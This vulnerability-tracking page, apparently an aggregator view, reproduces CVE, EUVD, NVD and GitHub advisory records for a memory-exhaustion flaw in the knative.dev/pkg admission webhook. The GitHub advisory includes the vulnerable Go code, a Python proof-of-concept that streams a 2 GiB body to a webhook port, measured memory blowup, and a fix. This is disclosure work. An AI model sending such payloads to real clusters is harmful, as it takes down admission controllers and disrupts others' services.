knative.dev/pkg admission webhooks allow unbounded request-body memory exhaustion

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Knative pkg provides common packages shared across Knative repositories. Prior to 0.0.0-20260531000007-52dbd5ece63f, the knative.dev/pkg/webhook admissionHandler in webhook/admission.go decodes an attacker-supplied AdmissionReview through json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) under an http.HandlerFunc without an http.MaxBytesReader or equivalent body-size limit. A pod-network client can send one oversized POST to an admission webhook, causing the decoder and bodyBuffer to retain amplified copies of the request until the controller pod exhausts memory and is OOM-killed. Every downstream consumer using the shared webhook server inherits the vulnerable behavior, including Knative, Tekton, KEDA, Sigstore policy-controller, and Kpack. For consumers configured with failurePolicy=Fail, loss of the controller can interrupt admission; with failurePolicy=Ignore, the affected webhook is unavailable while other admissions continue. This issue is fixed in version 0.0.0-20260531000007-52dbd5ece63f.

Source published

27 Oct 2026 16:12:32 UTC

Source modified

27 Oct 2026 16:12:32 UTC

Observed here

27 Oct 2026 17:43:43 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Knative pkg provides common packages shared across Knative repositories. Prior to 0.0.0-20260531000007-52dbd5ece63f, the knative.dev/pkg/webhook admissionHandler in webhook/admission.go decodes an attacker-supplied AdmissionReview through json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) under an http.HandlerFunc without an http.MaxBytesReader or equivalent body-size limit. A pod-network client can send one oversized POST to an admission webhook, causing the decoder and bodyBuffer to retain amplified copies of the request until the controller pod exhausts memory and is OOM-killed. Every downstream consumer using the shared webhook server inherits the vulnerable behavior, including Knative, Tekton, KEDA, Sigstore policy-controller, and Kpack. For consumers configured with failurePolicy=Fail, loss of the controller can interrupt admission; with failurePolicy=Ignore, the affected webhook is unavailable while other admissions continue. This issue is fixed in version 0.0.0-20260531000007-52dbd5ece63f.

Source published

Oct 27, 2026, 4:12:32 PM (timezone not stated)

Source modified

Oct 27, 2026, 4:12:32 PM (timezone not stated)

Observed here

28 Oct 2026 21:58:02 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Knative pkg provides common packages shared across Knative repositories. Prior to 0.0.0-20260531000007-52dbd5ece63f, the knative.dev/pkg/webhook admissionHandler in webhook/admission.go decodes an attacker-supplied AdmissionReview through json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) under an http.HandlerFunc without an http.MaxBytesReader or equivalent body-size limit. A pod-network client can send one oversized POST to an admission webhook, causing the decoder and bodyBuffer to retain amplified copies of the request until the controller pod exhausts memory and is OOM-killed. Every downstream consumer using the shared webhook server inherits the vulnerable behavior, including Knative, Tekton, KEDA, Sigstore policy-controller, and Kpack. For consumers configured with failurePolicy=Fail, loss of the controller can interrupt admission; with failurePolicy=Ignore, the affected webhook is unavailable while other admissions continue. This issue is fixed in version 0.0.0-20260531000007-52dbd5ece63f.

Source published

27 Oct 2026 17:17:01 UTC

Source modified

28 Oct 2026 15:21:31 UTC

Observed here

28 Oct 2026 21:57:06 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

## ⚠️ Update (verification, 2026-05-19): C-2 confirmed end-to-end — **4.5× amplification observed** (worse than the advisory's conservative 2× claim) Built a Go PoC ([`cmd/poc-c2/main.go`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/cmd/poc-c2/main.go)) that runs the exact 8-line vulnerable snippet from [`webhook/admission.go:109-117`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go#L109-L117) verbatim under the same `http.HandlerFunc` shape (the full production `admissionHandler` at `:85` requires `*Webhook` + `AdmissionController` + an informer-synced channel + controller-runtime / client-go scaffolding — the bug is the missing `http.MaxBytesReader`, nothing else in the handler). Bound to `127.0.0.1:18098`. PoC client streamed 2 GiB of `a` bytes over a raw TCP socket. `runtime.MemStats.HeapAlloc` sampler: ``` baseline: HeapAlloc = 0.32 MiB peak: HeapAlloc = 9 217.38 MiB = 9.00 GiB ratio: 4.50× the body size ``` The advisory predicted ~2× from `io.TeeReader` doubling the body once in `bodyBuffer`. The observed 4.5× ratio comes from the interaction of two amplifiers: `bytes.Buffer.ReadFrom` (used by `TeeReader`-fed `bodyBuffer`) doubles its backing slice on every grow, so peak occupancy during a realloc is `old + new = 3×` the live data — and `json.Decoder` holds its own working buffer in parallel. The advisory's 2× floor is comfortably exceeded. **Downstream impact reminder**: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to **any** of those projects' admission webhook ports OOMs the controller at 4.5× the body — i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod. --- # Summary `knative.dev/pkg`'s admission webhook handler reads the incoming HTTP request body via `json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer))` with **no `http.MaxBytesReader` wrapping the body**. Because every consumer of `knative.dev/pkg/webhook` inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to **any of those projects' admission webhook ports** drives the controller pod into memory exhaustion and OOM-kill. Worse, the `io.TeeReader` design keeps a verbatim copy of the body in `bodyBuffer` while the decoder also materializes the parsed struct — so the peak memory usage is roughly **twice the body size**. This is the same shape as **CVE-2026-24514** (ingress-nginx) and `GHSA-9539-c3xr-w9vm` (Kyverno admission body OOM) filed today against the same antipattern. # Affected versions - `knative.dev/pkg` — `main` HEAD on `github.com/knative/pkg` (verified 2026-05-18 against [`webhook/admission.go`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go) sha `1ad5a1ce0ee7043081cb50fd1acc6d36a9126844`). - Every release that ships the current [`webhook/admission.go`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go) handler. # Vulnerable code [`webhook/admission.go:109-117`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go#L109-L117): ```go review := admissionv1.AdmissionReview{} var bodyBuffer bytes.Buffer if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil { http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest) return } ``` There is no `http.MaxBytesReader` around `r.Body`. The standard library's `json.NewDecoder` will read until EOF or the matching closing `}`. The `io.TeeReader` simultaneously copies every byte read from `r.Body` into `bodyBuffer`, which the rest of the handler uses for the response trailer / observability. # Downstream impact (the reason this matters) `knative.dev/pkg/webhook` is the **default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem**: | Consumer | Repo | Webhook surface | |---|---|---| | Knative serving | `knative/serving` | resource validation / defaulting | | Knative eventing | `knative/eventing` | resource validation / defaulting | | Tekton Pipelines | `tektoncd/pipeline` | Pipeline / Task / TaskRun validation | | Tekton Triggers | `tektoncd/triggers` | EventListener / Trigger validation | | KEDA | `kedacore/keda` | ScaledObject / ScaledJob validation | | Sigstore policy-controller | `sigstore/policy-controller` | ClusterImagePolicy mutating + validating | | Kpack | `buildpacks-community/kpack` | Image / Builder validation | | ... | | | Every one of these consumers ships the same `io.ReadAll`-equivalent body read with **no upper bound**. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. `failurePolicy=Fail` admission webhooks (the secure-default) then take the namespace's or cluster's admission flow offline until the controller restarts. # Impact - **Class**: CWE-770 unbounded allocation. Reachable from any pod-network client. - **Severity per consumer**: depends on how each consumer configures `failurePolicy`. For projects with `failurePolicy=Fail` (e.g., Sigstore policy-controller's image-policy enforcement), the consequence is cluster-wide admission outage. For `failurePolicy=Ignore`, the consequence is "this project's webhook is offline" but the API server continues admitting requests. - **Severity**: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug. # Reproduction The exact same PoC built against Kyverno's admission handler reproduces this: ```python import socket total = 2 << 30 # 2 GiB s = socket.create_connection(('<knative-or-tekton-webhook-host>', 8443)) s.sendall(b'POST /<admission-path> HTTP/1.1\r\nHost: x\r\nContent-Type: application/json\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % total) chunk = b'a' * (1 << 20) for _ in range(total >> 20): s.sendall(chunk) ``` Observed against the Kyverno admission handler (same antipattern): ``` baseline: HeapAlloc=7 MiB Sys=22 MiB after read: HeapAlloc=9500 MiB Sys=9548 MiB (4 GiB body → 9.5 GiB peak; io.TeeReader doubles) ``` For the knative/pkg version, the `io.TeeReader` doubles the resident memory (one copy in the decoder's accumulating slice, one in `bodyBuffer`). A `kyverno-admission-controller`-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body. # Suggested fix Wrap the request body with `http.MaxBytesReader` (and add a `http.StatusRequestEntityTooLarge` branch on the `MaxBytesError` path): ```go const maxAdmissionRequestSize = 8 << 20 // 8 MiB — controller-runtime's default; large enough for Kubernetes' own admission objects r.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize) var bodyBuffer bytes.Buffer review := admissionv1.AdmissionReview{} if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil { var mbe *http.MaxBytesError if errors.As(err, &mbe) { http.Error(w, "admission body exceeds maximum size", http.StatusRequestEntityTooLarge) return } http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest) return } ``` This propagates a fix to **every downstream consumer** with no API change, and the cap can be made configurable per-server via a new field on the `webhook.Options` struct. # Disclosure Reporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release. # Reporter tonghuaroot ([email protected])

Source published

28 Oct 2026 21:20:53 UTC

Source modified

28 Oct 2026 21:30:03 UTC

Observed here

28 Oct 2026 21:56:58 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE